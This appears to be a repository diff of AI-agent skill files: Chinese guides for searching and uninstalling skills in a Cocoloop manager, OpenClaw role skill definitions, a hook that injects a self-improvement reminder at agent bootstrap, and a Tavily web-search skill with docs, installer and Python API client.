- 文件名格式:`Cocoloop-认证-{skill-name}-{评级}-报告.md`
3. **展示结果摘要**
## 使用建议生成
根据评级生成使用建议:
**S+/S 级:**
- 可放心使用
- 推荐用于生产环境
**A 级:**
- 代码安全,可正常使用
- 建议了解作者背景
**B 级:**
- 无显著安全问题,但有改进空间
- 建议阅读代码后再使用
**C 级:**
- 存在潜在安全问题
- 建议在隔离环境测试后再使用
- 不建议用于处理敏感数据
**D 级:**
- 存在严重安全问题
- 强烈建议不要使用
- 如需使用,必须在完全隔离的环境中

View file

@ -0,0 +1,254 @@
# Skill 搜索流程详细指南
本文档详细描述 Cocoloop 的多源搜索机制。
## 搜索源优先级
1. **Cocoloop API** - 官方技能仓库(优先)
2. **GitHub API** - 开源社区(fallback)
3. **本地缓存** - 已下载的 skill 信息(辅助)
## Cocoloop API 搜索
### 请求格式
```
GET https://api.cocoloop.cn/search={encoded_query}
```
### 请求头
```
User-Agent: Cocoloop-Skill-Manager/1.0
Accept: application/json
```
### 响应格式
```json
{
"results": [
{
"name": "skill-name",
"displayName": "Skill Display Name",
"description": "Skill description",
"url": "https://skills.cocoloop.cn/skill-name/v1.0.0.skill",
"version": "1.0.0",
"author": "author-name",
"authorUrl": "https://github.com/author",
"license": "MIT",
"downloads": 1500,
"rating": "S",
"tags": ["pdf", "document"],
"updatedAt": "2024-01-15T10:30:00Z"
}
],
"total": 10,
"page": 1,
"perPage": 20
}
```
### 处理逻辑
1. 发送请求
2. 解析 JSON 响应
3. 过滤结果(匹配度排序)
4. 返回前 10 个结果
## GitHub API 搜索
### 请求格式
```
GET https://api.github.com/search/repositories?q={query}+filename:SKILL.md&sort=stars&order=desc&per_page=10
```
### 搜索查询构建
基础查询:`{query} filename:SKILL.md`
可选追加:
- `+language:javascript` - 限定语言
- `+stars:>10` - 限定 stars 数
- `+topic:claude-skill` - 限定 topic
### 响应处理
原始响应字段映射:
```javascript
{
name: item.name, // 仓库名
fullName: item.full_name, // 完整名 owner/repo
description: item.description, // 描述
url: item.html_url, // GitHub 页面
stars: item.stargazers_count, // stars 数
forks: item.forks_count, // forks 数
language: item.language, // 主要语言
updatedAt: item.updated_at, // 更新时间
owner: {
name: item.owner.login, // 所有者名
type: item.owner.type, // 'User' 或 'Organization'
avatar: item.owner.avatar_url // 头像 URL
},
license: item.license?.name, // 许可证
topics: item.topics // 标签数组
}
```
### 结果过滤与排序
过滤条件:
1. 仓库名或描述包含查询词
2. 不是 fork 的仓库(可选)
3. 最近 2 年有更新(可选)
排序规则:
1. 组织账号优先于个人账号
2. stars 数高优先
3. 最近更新优先
### 展示格式
```
🐙 GitHub 搜索结果 (按 stars 排序):
1. company/skill-name ⭐ 1.2k
🏢 Organization | MIT License
📄 PDF processing and manipulation tools
🏷️ pdf, document, converter
2. user/another-skill ⭐ 45
👤 User | Apache-2.0
📄 Simple PDF utilities
🏷️ pdf, utils
3. ...
```
## 综合搜索流程
当用户搜索时,执行以下流程:
```
并行执行:
├── Cocoloop API 搜索 ──────→ 结果 A
└── GitHub API 搜索 ────────→ 结果 B
合并结果:
1. 优先展示 Cocoloop 结果(官方源)
2. 然后展示 GitHub 结果(社区源)
3. 去重(相同 fullName 只保留一个)
展示:
- 最多展示 10 个结果(可配置)
- 标注来源(🌟 Cocoloop / 🐙 GitHub)
- 显示关键信息(名称、描述、stars、来源类型)
```
## 获取 Skill 详情
当用户选择某个 skill 后,获取详细信息:
### 对于 Cocoloop 源
直接读取 API 返回的完整信息。
### 对于 GitHub 源
1. **获取仓库详情**
```
GET https://api.github.com/repos/{owner}/{repo}
```
2. **获取 SKILL.md 内容**
```
GET https://api.github.com/repos/{owner}/{repo}/contents/SKILL.md
```
响应中的 `content` 字段是 base64 编码的,需要解码。
3. **解析 SKILL.md**
- 提取 frontmatter(name, description)
- 提取前 500 字作为预览
4. **获取最新 release(可选)**
```
GET https://api.github.com/repos/{owner}/{repo}/releases/latest
```
### 详情展示格式
```
📋 Skill 详情
名称: pdf-processor
版本: 1.0.0
来源: 🐙 GitHub (Organization)
⭐ Stars: 1250 | 🍴 Forks: 45
📄 许可证: MIT
🏷️ 标签: pdf, document, converter
描述:
Advanced PDF processing and manipulation tools. Supports conversion,
merging, splitting, and encryption.
SKILL.md 预览:
---
name: pdf-processor
description: PDF processing skill...
---
# PDF Processor
This skill provides tools for working with PDF files...
来源可信度: T2 (可信组织)
安全评级: 待检查
是否安装此 skill? [Y/n]
```
## 本地缓存搜索
为了提高重复搜索的速度,维护本地缓存:
### 缓存位置
`~/.cocoloop/cache/search.json`
### 缓存格式
```json
{
"query": "pdf",
"timestamp": "2024-01-15T10:30:00Z",
"results": [...],
"expires": "2024-01-16T10:30:00Z"
}
```
### 缓存策略
- 缓存有效期:24 小时
- 命中缓存时,询问用户是否使用缓存结果
- 提供 `--fresh` 或 `-f` 参数强制刷新
## 错误处理
| 错误场景 | 处理方式 |
|---------|---------|
| Cocoloop API 超时 | 自动 fallback 到 GitHub |
| GitHub API 限流 | 提示用户稍后重试,或使用本地缓存 |
| 网络错误 | 显示错误信息,建议使用离线模式(如果有缓存)|
| 解析错误 | 记录日志,跳过该结果,继续其他 |
## 高级搜索语法
支持以下搜索修饰符:
| 修饰符 | 含义 | 示例 |
|-------|------|------|
| `author:` | 限定作者 | `author:anthropic pdf` |
| `lang:` | 限定语言 | `lang:javascript tool` |
| `stars:>n` | stars 数大于 | `stars:>100 utility` |
| `source:cocoloop` | 仅官方源 | `source:cocoloop document` |
| `source:github` | 仅 GitHub | `source:github utility` |

View file

@ -0,0 +1,163 @@
# Skill 卸载流程详细指南
本文档详细描述 skill 的卸载流程。
## 卸载前准备
### 1. 检测平台
使用与安装相同的平台检测逻辑:
```
IF OpenClaw:
安装目录 = ~/.openclaw/skills/
配置文件 = ~/.openclaw/config.json
ELSE IF Molili:
安装目录 = ~/.molili/skills/
配置文件 = ~/.molili/config.json
ELSE IF Claude Code:
安装目录 = ~/.claude/skills/
配置文件 = ~/.claude/config.json
ELSE:
安装目录 = ~/.claude/skills/ (clawhub 默认)
配置文件 = ~/.claude/config.json
```
### 2. 确认 Skill 存在
检查 skill 目录是否存在:
```
{安装目录}/{skill-name}/
├── SKILL.md
├── scripts/
├── references/
└── assets/
```
如果不存在:
- 返回错误 "未找到该 skill,可能已卸载或名称错误"
- 建议用户使用 `list` 命令查看已安装 skills
### 3. 获取 Skill 信息
读取 SKILL.md 获取基本信息:
- name
- description
- version(如果有)
## 卸载流程
### 第一步:用户确认
展示将要卸载的 skill 信息,请求确认:
```
⚠️ 即将卸载以下 skill:
名称: pdf-processor
描述: PDF processing and manipulation tools
安装路径: ~/.claude/skills/pdf-processor/
⚠️ 此操作将删除该 skill 的所有文件,不可恢复。
是否确认卸载? [y/N]
```
可选:添加 `--force` 或 `-f` 参数跳过确认。
### 第二步:备份(可选)
如果用户指定 `--backup` 或 `-b` 参数:
1. 创建备份目录:`~/.cocoloop/backups/`
2. 打包 skill 目录:`tar -czf ~/.cocoloop/backups/{skill-name}-{timestamp}.tar.gz {skill-path}/`
3. 提示备份位置
### 第三步:执行卸载
1. **删除 skill 目录**
```bash
rm -rf {安装目录}/{skill-name}/
```
2. **更新平台配置(如果需要)**
- 某些平台维护已安装 skill 列表
- 从列表中移除该 skill
3. **清理相关缓存**
- 删除 Cocoloop 本地缓存中该 skill 的搜索记录
- 删除安全检查缓存(如果有)
### 第四步:验证卸载
检查 skill 目录是否还存在:
- 如果存在 → 返回错误 "卸载失败,请检查权限或手动删除"
- 如果不存在 → 卸载成功
## 批量卸载
支持一次卸载多个 skills:
```
卸载 skill1 skill2 skill3
```
处理流程:
1. 遍历每个 skill
2. 执行单个卸载流程(不询问确认,或统一确认)
3. 汇总结果:
```
📊 卸载结果:
skill1: ✅ 已卸载
skill2: ❌ 未找到
skill3: ✅ 已卸载
```
## 卸载后处理
### 依赖检查(可选)
检查是否有其他 skill 依赖被卸载的 skill:
1. 遍历所有已安装 skills
2. 检查它们的 dependencies(如果有记录)
3. 如果有依赖关系,警告用户:
```
⚠️ 警告: 以下 skill 可能依赖 pdf-processor:
- document-workflow
继续使用这些 skill 可能会出现问题。
```
### 清理孤立依赖(高级)
如果 skill 安装了独立的依赖(如 node_modules),检查是否可以清理:
- 如果其他 skill 不使用 → 可以删除
- 如果有共享依赖 → 保留
## 错误处理
| 错误场景 | 处理方式 |
|---------|---------|
| 权限不足 | 提示使用 `sudo` 或检查目录权限 |
| 文件被占用 | 提示关闭使用该 skill 的程序后重试 |
| 目录非空但无法删除 | 保留日志,提示手动删除 |
| 配置文件损坏 | 尝试修复或重建配置 |
## 恢复卸载
如果用户误卸载,提供恢复选项(前提是备份存在):
```
恢复 pdf-processor
```
流程:
1. 查找备份目录:`~/.cocoloop/backups/pdf-processor-*.tar.gz`
2. 列出可用备份(按时间排序)
3. 询问用户选择恢复哪个版本
4. 解压到安装目录
5. 验证恢复

View file

@ -1,31 +0,0 @@
---
name: coding
description: 研发实现技能,负责代码实现、缺陷修复与验证闭环。
user-invocable: true
disable-model-invocation: false
metadata:
oclaw:
role: specialist
owner: workspace-coding
focus:
- implement
- refactor
- test
---
# Coding Skill(研发实现)
## 适用场景
- 新功能开发、缺陷修复、重构和性能优化。
- 需要定位报错、复现问题并给出稳定修复方案。
- 需要输出可合并、可验证、可回滚的代码结果。
## 工作方法
1. 先复现问题,明确预期行为。
2. 设计最小改动方案,控制影响面。
3. 实施修改并运行相关测试。
4. 提供变更说明、验证结果和残余风险。
## 输出要求
- 必须包含:改了什么、为什么、怎么验证、还有什么风险。
- 避免顺手混改无关逻辑。

View file

@ -1,27 +0,0 @@
---
name: main
description: 主编排技能,负责任务分派、验收与汇总输出。
user-invocable: true
disable-model-invocation: false
metadata:
oclaw:
role: orchestrator
owner: workspace-main
---
# Main Skill(主编排)
## 适用场景
- 用户需求跨多个领域,需要拆分给不同 specialist。
- 需要统一汇总 coding/social/ops 的结果并给出最终结论。
- 任务存在风险或不确定性,需要先做边界判断。
## 工作方法
1. 明确目标与验收标准。
2. 分派子任务并约束交付格式。
3. 基于证据做一致性检查。
4. 输出结论、影响、验证状态和下一步建议。
## 输出要求
- 先结论,后依据,最后行动项。
- 如果有风险,明确风险等级与回滚思路。

View file

@ -0,0 +1,85 @@
from __future__ import annotations
from typing import Any
REMINDER_NAME = "SELF_IMPROVEMENT_REMINDER.md"
REMINDER_PATH = REMINDER_NAME
REMINDER_CONTENT = """## Self-Improvement Reminder
After completing tasks, evaluate whether any learnings should be captured.
Only log if this repo or workspace is using the self-improvement skill.
Before logging:
- Create only missing `.learnings/` files; never overwrite existing content
- Do not log secrets, tokens, private keys, environment variables, or raw transcripts
- Prefer short summaries or redacted excerpts over full command output
**Log when:**
- User corrects you → `.learnings/LEARNINGS.md`
- Command/operation fails → `.learnings/ERRORS.md`
- User wants missing capability → `.learnings/FEATURE_REQUESTS.md`
- You discover your knowledge was wrong → `.learnings/LEARNINGS.md`
- You find a better approach → `.learnings/LEARNINGS.md`
**Promote when pattern is proven:**
- Behavioral patterns → `SOUL.md`
- Workflow improvements → `AGENTS.md`
- Tool gotchas → `TOOLS.md`
Keep entries simple: date, title, what happened, and what to do differently."""
def _is_record(value: object) -> bool:
return isinstance(value, dict)
def _is_injected_reminder_file(value: object) -> bool:
if not _is_record(value) or str(value.get("path")) != REMINDER_PATH: # type: ignore[union-attr]
return False
v = value # type: ignore[assignment]
return v.get("virtual") is True or v.get("content") == REMINDER_CONTENT
def handle(event: object) -> None:
if getattr(event, "type", None) != "agent" or getattr(event, "action", None) != "bootstrap":
return
ctx = getattr(event, "context", None)
if not isinstance(ctx, dict):
return
session_key = str(getattr(event, "sessionKey", "") or "")
if ":subagent:" in session_key:
return
if not isinstance(ctx.get("bootstrapFiles"), list):
return
files: list[object] = list(ctx.get("bootstrapFiles") or [])
occupied = any(
_is_record(f) and str(f.get("path")) == REMINDER_PATH and not _is_injected_reminder_file(f) # type: ignore[union-attr]
for f in files
)
if occupied:
return
cleaned: list[object] = [
f
for i, f in enumerate(files)
if (not _is_injected_reminder_file(f))
or (next((j for j, c in enumerate(files) if _is_injected_reminder_file(c)), -1) == i)
]
reminder_file: dict[str, Any] = {
"name": REMINDER_NAME,
"path": REMINDER_PATH,
"content": REMINDER_CONTENT,
"missing": False,
"virtual": True,
}
existing_idx = next((i for i, f in enumerate(cleaned) if _is_injected_reminder_file(f)), -1)
if existing_idx == -1:
cleaned.append(reminder_file)
else:
cleaned[existing_idx] = reminder_file
ctx["bootstrapFiles"] = cleaned

View file

@ -1,31 +0,0 @@
---
name: social
description: 对外沟通技能,负责可直接发布的中文文案与表达治理。
user-invocable: true
disable-model-invocation: false
metadata:
oclaw:
role: specialist
owner: workspace-social
focus:
- announcement
- rewrite
- audience_tone
---
# Social Skill(对外沟通)
## 适用场景
- 公告、邮件、更新说明、PR 描述、客服回复等对外文本。
- 需要按受众调整语气和信息层级。
- 需要把技术事实转成可读、可发布、可执行的表达。
## 工作方法
1. 明确受众、渠道、目标动作。
2. 抽取事实,剔除歧义和不可承诺内容。
3. 生成可直接发布版本(必要时提供备选语气)。
4. 检查敏感信息和承诺边界。
## 输出要求
- 默认给:一句话版 + 标准版正文。
- 术语统一,避免过度承诺。

View file

@ -0,0 +1,351 @@
---
name: tavily-search-pro
slug: tavily-search-pro
description: >
Tavily AI search platform with 5 modes: Search (web/news/finance), Extract (URL content),
Crawl (website crawling), Map (sitemap discovery), and Research (deep research with citations).
Use for: web search with LLM answers, content extraction, site crawling, deep research.
version: 1.0.0
author: Leo 🦁
tags: [search, tavily, web, news, finance, extract, crawl, research, api]
metadata: {"clawdbot":{"emoji":"🔎","requires":{"env":["TAVILY_API_KEY"]},"primaryEnv":"TAVILY_API_KEY","install":[{"id":"pip","kind":"pip","package":"tavily-python","label":"Install dependencies (pip)"}]}}
allowed-tools: [exec]
---
# Tavily Search 🔎
AI-powered web search platform with 5 modes: Search, Extract, Crawl, Map, and Research.
## Requirements
- `TAVILY_API_KEY` environment variable
## Configuration
| Env Variable | Default | Description |
|---|---|---|
| `TAVILY_API_KEY` | — | **Required.** Tavily API key |
Set in OpenClaw config:
```json
{
"env": {
"TAVILY_API_KEY": "tvly-..."
}
}
```
## Script Location
```bash
python3 skills/tavily/lib/tavily_search.py <command> "query" [options]
```
---
## Commands
### search — Web Search (Default)
General-purpose web search with optional LLM-synthesized answer.
```bash
python3 lib/tavily_search.py search "query" [options]
```
**Examples:**
```bash
# Basic search
python3 lib/tavily_search.py search "latest AI news"
# With LLM answer
python3 lib/tavily_search.py search "what is quantum computing" --answer
# Advanced depth (better results, 2 credits)
python3 lib/tavily_search.py search "climate change solutions" --depth advanced
# Time-filtered
python3 lib/tavily_search.py search "OpenAI announcements" --time week
# Domain filtering
python3 lib/tavily_search.py search "machine learning" --include-domains arxiv.org,nature.com
# Country boost
python3 lib/tavily_search.py search "tech startups" --country US
# With raw content and images
python3 lib/tavily_search.py search "solar energy" --raw --images -n 10
# JSON output
python3 lib/tavily_search.py search "bitcoin price" --json
```
**Output format (text):**
```
Answer: <LLM-synthesized answer if --answer>
Results:
1. Result Title
https://example.com/article
Content snippet from the page...
2. Another Result
https://example.com/other
Another snippet...
```
---
### news — News Search
Search optimized for news articles. Sets `topic=news`.
```bash
python3 lib/tavily_search.py news "query" [options]
```
**Examples:**
```bash
python3 lib/tavily_search.py news "AI regulation"
python3 lib/tavily_search.py news "Israel tech" --time day --answer
python3 lib/tavily_search.py news "stock market" --time week -n 10
```
---
### finance — Finance Search
Search optimized for financial data and news. Sets `topic=finance`.
```bash
python3 lib/tavily_search.py finance "query" [options]
```
**Examples:**
```bash
python3 lib/tavily_search.py finance "NVIDIA stock analysis"
python3 lib/tavily_search.py finance "cryptocurrency market trends" --time month
python3 lib/tavily_search.py finance "S&P 500 forecast 2026" --answer
```
---
### extract — Extract Content from URLs
Extract readable content from one or more URLs.
```bash
python3 lib/tavily_search.py extract URL [URL...] [options]
```
**Parameters:**
- `urls`: One or more URLs to extract (positional args)
- `--depth basic|advanced`: Extraction depth
- `--format markdown|text`: Output format (default: markdown)
- `--query "text"`: Rerank extracted chunks by relevance to query
**Examples:**
```bash
# Extract single URL
python3 lib/tavily_search.py extract "https://example.com/article"
# Extract multiple URLs
python3 lib/tavily_search.py extract "https://url1.com" "https://url2.com"
# Advanced extraction with relevance reranking
python3 lib/tavily_search.py extract "https://arxiv.org/paper" --depth advanced --query "transformer architecture"
# Text format output
python3 lib/tavily_search.py extract "https://example.com" --format text
```
**Output format:**
```
URL: https://example.com/article
─────────────────────────────────
<Extracted content in markdown/text>
URL: https://another.com/page
─────────────────────────────────
<Extracted content>
```
---
### crawl — Crawl a Website
Crawl a website starting from a root URL, following links.
```bash
python3 lib/tavily_search.py crawl URL [options]
```
**Parameters:**
- `url`: Root URL to start crawling
- `--depth basic|advanced`: Crawl depth
- `--max-depth N`: Maximum link depth to follow (default: 2)
- `--max-breadth N`: Maximum pages per depth level (default: 10)
- `--limit N`: Maximum total pages (default: 10)
- `--instructions "text"`: Natural language crawl instructions
- `--select-paths p1,p2`: Only crawl these path patterns
- `--exclude-paths p1,p2`: Skip these path patterns
- `--format markdown|text`: Output format
**Examples:**
```bash
# Basic crawl
python3 lib/tavily_search.py crawl "https://docs.example.com"
# Focused crawl with instructions
python3 lib/tavily_search.py crawl "https://docs.python.org" --instructions "Find all asyncio documentation" --limit 20
# Crawl specific paths only
python3 lib/tavily_search.py crawl "https://example.com" --select-paths "/blog,/docs" --max-depth 3
```
**Output format:**
```
Crawled 5 pages from https://docs.example.com
Page 1: https://docs.example.com/intro
─────────────────────────────────
<Content>
Page 2: https://docs.example.com/guide
─────────────────────────────────
<Content>
```
---
### map — Sitemap Discovery
Discover all URLs on a website (sitemap).
```bash
python3 lib/tavily_search.py map URL [options]
```
**Parameters:**
- `url`: Root URL to map
- `--max-depth N`: Depth to follow (default: 2)
- `--max-breadth N`: Breadth per level (default: 20)
- `--limit N`: Maximum URLs (default: 50)
**Examples:**
```bash
# Map a site
python3 lib/tavily_search.py map "https://example.com"
# Deep map
python3 lib/tavily_search.py map "https://docs.python.org" --max-depth 3 --limit 100
```
**Output format:**
```
Sitemap for https://example.com (42 URLs found):
1. https://example.com/
2. https://example.com/about
3. https://example.com/blog
...
```
---
### research — Deep Research
Comprehensive AI-powered research on a topic with citations.
```bash
python3 lib/tavily_search.py research "query" [options]
```
**Parameters:**
- `query`: Research question
- `--model mini|pro|auto`: Research model (default: auto)
- `mini`: Faster, cheaper
- `pro`: More thorough
- `auto`: Let Tavily decide
- `--json`: JSON output (supports structured output schema)
**Examples:**
```bash
# Basic research
python3 lib/tavily_search.py research "Impact of AI on healthcare in 2026"
# Pro model for thorough research
python3 lib/tavily_search.py research "Comparison of quantum computing approaches" --model pro
# JSON output
python3 lib/tavily_search.py research "Electric vehicle market analysis" --json
```
**Output format:**
```
Research: Impact of AI on healthcare in 2026
<Comprehensive research report with citations>
Sources:
[1] https://source1.com
[2] https://source2.com
...
```
---
## Options Reference
| Option | Applies To | Description | Default |
|---|---|---|---|
| `--depth basic\|advanced` | search, news, finance, extract | Search/extraction depth | basic |
| `--time day\|week\|month\|year` | search, news, finance | Time range filter | none |
| `-n NUM` | search, news, finance | Max results (0-20) | 5 |
| `--answer` | search, news, finance | Include LLM answer | off |
| `--raw` | search, news, finance | Include raw page content | off |
| `--images` | search, news, finance | Include image URLs | off |
| `--include-domains d1,d2` | search, news, finance | Only these domains | none |
| `--exclude-domains d1,d2` | search, news, finance | Exclude these domains | none |
| `--country XX` | search, news, finance | Boost country results | none |
| `--json` | all | Structured JSON output | off |
| `--format markdown\|text` | extract, crawl | Content format | markdown |
| `--query "text"` | extract | Relevance reranking query | none |
| `--model mini\|pro\|auto` | research | Research model | auto |
| `--max-depth N` | crawl, map | Max link depth | 2 |
| `--max-breadth N` | crawl, map | Max pages per level | 10/20 |
| `--limit N` | crawl, map | Max total pages/URLs | 10/50 |
| `--instructions "text"` | crawl | Natural language instructions | none |
| `--select-paths p1,p2` | crawl | Include path patterns | none |
| `--exclude-paths p1,p2` | crawl | Exclude path patterns | none |
---
## Error Handling
- **Missing API key:** Clear error message with setup instructions.
- **401 Unauthorized:** Invalid API key.
- **429 Rate Limit:** Rate limit exceeded, try again later.
- **Network errors:** Descriptive error with cause.
- **No results:** Clean "No results found." message.
- **Timeout:** 30-second timeout on all HTTP requests.
---
## Credits & Pricing
| API | Basic | Advanced |
|---|---|---|
| Search | 1 credit | 2 credits |
| Extract | 1 credit/URL | 2 credits/URL |
| Crawl | 1 credit/page | 2 credits/page |
| Map | 1 credit | 1 credit |
| Research | Varies by model | - |
---
## Install
```bash
bash skills/tavily/install.sh
```

View file

@ -0,0 +1,11 @@
{
"owner": "shaharsha",
"slug": "tavily-search-pro",
"displayName": "Tavily Search Pro",
"latest": {
"version": "1.0.0",
"publishedAt": 1770481308912,
"commit": "https://github.com/openclaw/skills/commit/7c907638c02746d4cdc5504cbe2816f52f6107ae"
},
"history": []
}

View file

@ -0,0 +1,30 @@
#!/usr/bin/env bash
# Tavily Search skill installer
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
echo "📦 Installing Tavily Search skill..."
# Install Python dependencies
pip install --break-system-packages --quiet tavily-python 2>/dev/null || {
echo "⚠️ pip install failed, trying without --break-system-packages..."
pip install --quiet tavily-python 2>/dev/null || {
echo "❌ Failed to install tavily-python. Install manually: pip install tavily-python"
exit 1
}
}
# Verify API key
if [ -z "${TAVILY_API_KEY:-}" ]; then
echo "⚠️ TAVILY_API_KEY not set. Set it in OpenClaw config before using."
else
echo "✅ TAVILY_API_KEY found"
fi
# Quick smoke test
if python3 "$SCRIPT_DIR/lib/tavily_search.py" --help >/dev/null 2>&1; then
echo "✅ Tavily Search skill ready."
else
echo "⚠️ Smoke test failed - check Python dependencies."
exit 1
fi

View file

@ -0,0 +1,549 @@
#!/usr/bin/env python3
"""
Tavily Search v1.0 - AI-powered web search platform with 5 modes.
Author: Leo 🦁
Created: 2026-02-07
Commands:
- search: General web search with optional LLM answer
- news: News-optimized search (topic=news)
- finance: Finance-optimized search (topic=finance)
- extract: Extract content from URLs
- crawl: Crawl a website
- map: Discover sitemap URLs
- research: Deep AI research with citations
Environment Variables:
- TAVILY_API_KEY: Required. Tavily API key.
"""
import argparse
import json
import os
import sys
import urllib.request
import urllib.error
from typing import Any, Optional
# ─── Configuration ───────────────────────────────────────────────────────────
API_KEY: str = os.environ.get("TAVILY_API_KEY", "")
BASE_URL: str = "https://api.tavily.com"
REQUEST_TIMEOUT: int = 30
RESEARCH_TIMEOUT: int = 120 # Research can take longer
# ─── HTTP Helper ─────────────────────────────────────────────────────────────
def _api_request(
endpoint: str,
payload: dict[str, Any],
timeout: int = REQUEST_TIMEOUT,
) -> dict[str, Any]:
"""
Make a POST request to the Tavily API.
Args:
endpoint: API endpoint path (e.g., '/search').
payload: JSON request body.
timeout: Request timeout in seconds.
Returns:
Parsed JSON response.
Raises:
SystemExit: On API errors with descriptive messages.
"""
url = f"{BASE_URL}{endpoint}"
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
url,
data=data,
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {API_KEY}",
},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read())
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")[:500]
if e.code == 401:
print("Error: Invalid TAVILY_API_KEY. Check your key at https://app.tavily.com", file=sys.stderr)
elif e.code == 429:
print("Error: Rate limit exceeded. Try again later.", file=sys.stderr)
elif e.code == 400:
# Try to extract error message from JSON response
try:
err_data = json.loads(body)
msg = err_data.get("detail", err_data.get("message", body))
print(f"Error: Bad request - {msg}", file=sys.stderr)
except (json.JSONDecodeError, KeyError):
print(f"Error: Bad request - {body}", file=sys.stderr)
else:
print(f"Error: Tavily API returned {e.code}: {body}", file=sys.stderr)
sys.exit(1)
except urllib.error.URLError as e:
print(f"Error: Network error - {e.reason}", file=sys.stderr)
sys.exit(1)
except TimeoutError:
print(f"Error: Request timed out after {timeout}s", file=sys.stderr)
sys.exit(1)
# ─── Output Formatting ──────────────────────────────────────────────────────
def _format_search_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format search/news/finance results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
# LLM answer
answer = data.get("answer")
if answer:
lines.append(f"Answer: {answer}")
lines.append("")
# Images
images = data.get("images")
if images:
lines.append("Images:")
for img in images:
if isinstance(img, dict):
lines.append(f" - {img.get('url', img)}")
else:
lines.append(f" - {img}")
lines.append("")
# Results
results = data.get("results", [])
if results:
lines.append("Results:")
for i, r in enumerate(results, 1):
title = r.get("title", "Untitled")
url = r.get("url", "")
content = r.get("content", "")
score = r.get("score")
published = r.get("published_date", "")
lines.append(f" {i}. {title}")
lines.append(f" {url}")
if published:
lines.append(f" Published: {published}")
if score is not None:
lines.append(f" Score: {score:.4f}")
if content:
# Truncate long content to keep output readable
snippet = content[:500].strip()
if len(content) > 500:
snippet += "..."
lines.append(f" {snippet}")
# Raw content (if requested)
raw = r.get("raw_content")
if raw:
lines.append(f" --- Raw Content ---")
raw_snippet = raw[:1000].strip()
if len(raw) > 1000:
raw_snippet += f"... [{len(raw)} chars total]"
lines.append(f" {raw_snippet}")
lines.append("")
elif not answer:
lines.append("No results found.")
return "\n".join(lines).rstrip()
def _format_extract_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format extract results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
results = data.get("results", [])
if not results:
return "No content extracted."
for r in results:
url = r.get("url", "Unknown URL")
content = r.get("raw_content", "")
lines.append(f"URL: {url}")
lines.append("─" * 50)
if content:
lines.append(content.strip())
else:
lines.append("(No content extracted)")
lines.append("")
# Failed URLs
failed = data.get("failed_results", [])
if failed:
lines.append("Failed URLs:")
for f in failed:
url = f.get("url", "Unknown")
error = f.get("error", "Unknown error")
lines.append(f" ✗ {url}: {error}")
return "\n".join(lines).rstrip()
def _format_crawl_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format crawl results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
results = data.get("results", [])
base_url = data.get("base_url", "")
lines.append(f"Crawled {len(results)} pages from {base_url}")
lines.append("")
for i, r in enumerate(results, 1):
url = r.get("url", "Unknown URL")
content = r.get("raw_content", "")
lines.append(f"Page {i}: {url}")
lines.append("─" * 50)
if content:
# Truncate very long pages
snippet = content[:2000].strip()
if len(content) > 2000:
snippet += f"\n... [{len(content)} chars total]"
lines.append(snippet)
else:
lines.append("(No content)")
lines.append("")
# Failed
failed = data.get("failed_results", [])
if failed:
lines.append("Failed URLs:")
for f in failed:
url = f.get("url", "Unknown")
error = f.get("error", "Unknown error")
lines.append(f" ✗ {url}: {error}")
return "\n".join(lines).rstrip()
def _format_map_results(data: dict[str, Any], url: str, as_json: bool = False) -> str:
"""Format map/sitemap results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
urls = data.get("results", [])
lines: list[str] = []
lines.append(f"Sitemap for {url} ({len(urls)} URLs found):")
lines.append("")
for i, u in enumerate(urls, 1):
if isinstance(u, dict):
lines.append(f" {i}. {u.get('url', u)}")
else:
lines.append(f" {i}. {u}")
if not urls:
lines.append(" No URLs discovered.")
return "\n".join(lines).rstrip()
def _format_research_results(data: dict[str, Any], as_json: bool = False) -> str:
"""Format research results for display."""
if as_json:
return json.dumps(data, ensure_ascii=False, indent=2)
lines: list[str] = []
# Topic
topic = data.get("topic") or data.get("query", "")
if topic:
lines.append(f"Research: {topic}")
lines.append("")
# Main content
content = data.get("content") or data.get("output") or data.get("report", "")
if content:
lines.append(content.strip())
else:
lines.append("No research output returned.")
# Sources
sources = data.get("sources", [])
if sources:
lines.append("")
lines.append("Sources:")
for i, src in enumerate(sources, 1):
if isinstance(src, dict):
url = src.get("url", src.get("link", str(src)))
title = src.get("title", "")
if title:
lines.append(f" [{i}] {title}")
lines.append(f" {url}")
else:
lines.append(f" [{i}] {url}")
else:
lines.append(f" [{i}] {src}")
return "\n".join(lines).rstrip()
# ─── Commands ────────────────────────────────────────────────────────────────
def cmd_search(args: argparse.Namespace) -> str:
"""Execute search/news/finance command."""
topic_map = {
"search": "general",
"news": "news",
"finance": "finance",
}
payload: dict[str, Any] = {
"query": args.query,
"topic": topic_map.get(args.command, "general"),
"search_depth": args.depth,
"max_results": args.n,
}
if args.answer:
payload["include_answer"] = True
if args.raw:
payload["include_raw_content"] = "markdown"
if args.images:
payload["include_images"] = True
if args.time:
payload["time_range"] = args.time
if args.include_domains:
payload["include_domains"] = [d.strip() for d in args.include_domains.split(",")]
if args.exclude_domains:
payload["exclude_domains"] = [d.strip() for d in args.exclude_domains.split(",")]
if args.country:
payload["country"] = args.country
data = _api_request("/search", payload)
return _format_search_results(data, as_json=args.as_json)
def cmd_extract(args: argparse.Namespace) -> str:
"""Execute extract command."""
urls = args.urls
if not urls:
print("Error: At least one URL is required for extract.", file=sys.stderr)
sys.exit(1)
payload: dict[str, Any] = {
"urls": urls if len(urls) > 1 else urls[0],
}
if args.depth and args.depth != "basic":
payload["extract_depth"] = args.depth
if hasattr(args, "format_type") and args.format_type:
payload["format"] = args.format_type
if hasattr(args, "query") and args.query:
payload["query"] = args.query
data = _api_request("/extract", payload)
return _format_extract_results(data, as_json=args.as_json)
def cmd_crawl(args: argparse.Namespace) -> str:
"""Execute crawl command."""
payload: dict[str, Any] = {
"url": args.url,
}
if args.max_depth is not None:
payload["max_depth"] = args.max_depth
if args.max_breadth is not None:
